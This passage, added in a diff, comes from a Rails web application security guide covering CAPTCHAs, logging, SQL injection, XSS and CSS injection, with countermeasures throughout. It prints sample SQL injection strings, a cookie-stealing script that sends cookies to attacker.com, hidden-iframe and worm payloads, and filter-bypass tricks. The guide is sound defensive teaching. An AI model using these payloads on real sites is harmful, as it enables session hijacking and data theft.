+make the elements very small or colour them the same as the background of the page
+</p>
+</li>
+<li>
+<p>
+leave the fields displayed, but tell humans to leave them blank
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
+<div class="para"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+</p>
+</li>
+<li>
+<p>
+Randomize the field names
+</p>
+</li>
+<li>
+<p>
+Include more than one honeypot field of all types, including submission buttons
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
+<h3 id="_logging">7.4. Logging</h3>
+<div class="para"><p>— <em>Tell Rails not to put passwords in the log files.</em></p></div>
+<div class="para"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password
+</tt></pre></div></div>
+<h3 id="_good_passwords">7.5. Good passwords</h3>
+<div class="para"><p>— <em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
+<div class="para"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
+<div class="para"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
+<div class="para"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
+<div class="para"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
+<h3 id="_regular_expressions">7.6. Regular expressions</h3>
+<div class="para"><p>— <em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div>
+<div class="para"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=></span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>file.txt%0A<script>alert('hello')</script></tt></pre>
+</div></div>
+<div class="para"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert(<em>hello</em>)</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
+<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
+<div class="para"><p>— <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
+<div class="para"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user's access rights, too</span>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
+<div class="para"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
+</div>
+<h2 id="_injection">8. Injection</h2>
+<div class="sectionbody">
+<div class="para"><p>— <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
+<div class="para"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
+<h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
+<div class="para"><p>— <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
+<div class="para"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Use before_filter :only ⇒ […] instead of :except ⇒ […]. This way you don't forget to turn it off for newly added actions.
+</p>
+</li>
+<li>
+<p>
+Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+</p>
+</li>
+<li>
+<p>
+Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
+</p>
+</li>
+<li>
+<p>
+Don't try to correct user input by blacklists:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
+</p>
+</li>
+<li>
+<p>
+But reject malformed input
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<div class="para"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
+<h3 id="_sql_injection">8.2. SQL Injection</h3>
+<div class="para"><p>— <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
+<h4 id="_introduction_2">8.2.1. Introduction</h4>
+<div class="para"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
+</div></div>
+<div class="para"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
+<h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
+<div class="para"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and </em> OR <em>2</em>>'1 as the password, the resulting SQL query will be:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1</tt></pre>
+</div></div>
+<div class="para"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
+<h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
+<div class="para"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>And now let's inject another query using the UNION statement:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
+</div></div>
+<div class="para"><p>This will result in the following SQL query:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM projects WHERE (name = '') UNION
+ SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
+</div></div>
+<div class="para"><p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
+<div class="para"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
+<h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
+<div class="para"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions ⇒ "…"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
+<div class="para"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=></span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=></span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
+<h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
+<div class="para"><p>— <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
+<h4 id="_entry_points">8.3.1. Entry points</h4>
+<div class="para"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
+<div class="para"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
+<div class="para"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
+<div class="para"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
+<div class="para"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
+<h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
+<div class="para"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
+<div class="para"><p>Here is the most straightforward test to check for XSS:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><script>alert('Hello');</script></tt></pre>
+</div></div>
+<div class="para"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')"></tt></pre>
+</div></div>
+<h5 id="_cookie_theft">Cookie theft</h5>
+<div class="para"><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><script>document.write(document.cookie);</script></tt></pre>
+</div></div>
+<div class="para"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script></tt></pre>
+</div></div>
+<div class="para"><p>The log files on www.attacker.com will read like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
+</div></div>
+<div class="para"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
+<h5 id="_defacement">Defacement</h5>
+<div class="para"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe></tt></pre>
+</div></div>
+<div class="para"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
+<div class="para"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
+<div class="para"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson…":</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+ <script src=http://www.securitylab.ru/test/sc.js></script><!--</tt></pre>
+</div></div>
+<h5 id="_countermeasures_3">Countermeasures</h5>
+<div class="para"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
+<div class="para"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
+<div class="para"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>strip_tags("some<<b>script>alert('hello')<</b>/script>")</tt></pre>
+</div></div>
+<div class="para"><p>This returned "some<script>alert(<em>hello</em>)</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags => tags, :attributes => %w(href title))</tt></pre>
+</div></div>
+<div class="para"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
+<div class="para"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
+<h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
+<div class="para"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+ &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></tt></pre>
+</div></div>
+<div class="para"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
+<h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
+<div class="para"><p>— <em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p></div>
+<div class="para"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+ target=""onload="var http_request = false; var Email = '';
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...</tt></pre>
+</div></div>
+<div class="para"><p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
+<div class="para"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta's website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
+<div class="para"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
+<div class="para"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
+<h3 id="_css_injection">8.4. CSS Injection</h3>
+<div class="para"><p>— <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
+<div class="para"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
+<div class="para"><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><div style="background:url('javascript:alert(1)')"></tt></pre>
+</div></div>
+<div class="para"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"></tt></pre>
+</div></div>
+<div class="para"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
+</div></div>
+<div class="para"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt><div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"></tt></pre>
+</div></div>
+<div class="para"><p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
+<div class="para"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
+<div class="para"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
+<h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
+<div class="para"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
+<h3 id="_textile_injection">8.5. Textile Injection</h3>
+<div class="para"><p>— <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
+<div class="para"><p>For example, RedCloth translates <em>test</em> to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>>> RedCloth.new('<script>alert(1)</script>').to_html
+=> "<script>alert(1)</script>"</tt></pre>
+</div></div>
+<div class="para"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+=> "alert(1)"</tt></pre>
+</div></div>
+<div class="para"><p>However, this does not filter all HTML, a few tags will be left (by design), for example <a>:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+=> "<p><a href="javascript:alert(1)">hello</a></p>"</tt></pre>
+</div></div>
+<h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
+<div class="para"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
+<h3 id="_ajax_injection">8.6. Ajax Injection</h3>
+<div class="para"><p>— <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div>
